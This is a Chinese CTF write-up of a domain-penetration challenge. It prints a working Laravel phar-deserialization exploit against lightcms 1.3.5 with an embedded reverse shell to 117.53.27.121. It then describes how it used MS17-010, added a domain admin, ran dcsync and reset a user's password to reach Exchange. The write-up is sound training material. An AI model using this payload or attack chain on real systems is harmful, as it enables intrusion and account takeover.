DozerCTF2021 简单域渗透II Writeup

周末打了DozerCTF的域渗透题目，题目思路很好，出题人和运维师傅也都很热心的解答问题，在这里还是首先感谢金陵科技学院的师傅们精心准备的赛题

中间环境下线和不稳定的问题耽误了一些时间，我在第一天下午的时候用非预期打完了，第二天开始看预期解，最后遗憾的就是没有按预期打完整个环境

以下是在做题期间的一些思路，文章最后有一些个人对比赛中考点的延伸扩展，算是我自己对预期的考点加以实战中遇到的情况的想象吧，对应也有很多种解法，这些可以延伸出很多有意思的点

0x00 非预期
0x01 正常打的
0x02 总结

0x00 非预期

lightcms 1.3.5的RCE漏洞魔改，dozer/dozer123进后台（这个弱密码卡了我很久），可以直接读文件：

然后读漏洞点源码，审计发现写死了上传扩展名：

但可以先远程下载phar文件，再利用file_get_contents进行phar反序列化

poc如下，利用larvel的链：

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent
    {
      protected $connection;
      public function __construct($connection)
      {
        $this->connection = $connection;
      }
    }
}
namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;
        public function __construct($queueResolver)
        {
          $this->queueResolver = $queueResolver;
        }
    }
}
namespace{
    $command = new Illuminate\Broadcasting\BroadcastEvent("bash -c 'bash -i >& /dev/tcp/117.53.27.121/13569 0>&1'");
    $dispater = new Illuminate\Bus\Dispatcher("system");
    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($PendingBroadcast);
    $phar -> stopBuffering();
    rename('phar.phar','phar.txt');
}

生成phar文件并上传，然后利用phar伪协议：

反弹shell：

探测一下内网服务，因为已知有域，重点探测88和389：

可以看到10.10.1.1开放了445、88、389，我们再从ldap确认一下（防止误认为vcenter等服务器）

然后再通过netbios看一下机器名，方便后面如果要打zerologon用

由于是ctf环境，所以优先考虑直接获取权限的漏洞，扫一波17010，发现域控存在该漏洞，且系统版本为2012，基本为稳定利用

直接使用msf来打：

读flag：

利用域控机器账户可添加用户并加入域管组：

dcsync，通过用户列表可以看出来环境里还存在exchange

猜测最终的flag应该在flag用户的邮箱里（因为看过了ldap没有flag），考虑到不影响环境原本打算使用changentlm、setntlm来修改密码，然后再将密码还原回去（或者pth_to_ews，或者推组策略上exchange…总之域控已经拿下来方法就很多了）但这里暴力一点直接通过net user更改flag的密码，登录exchange拿到flag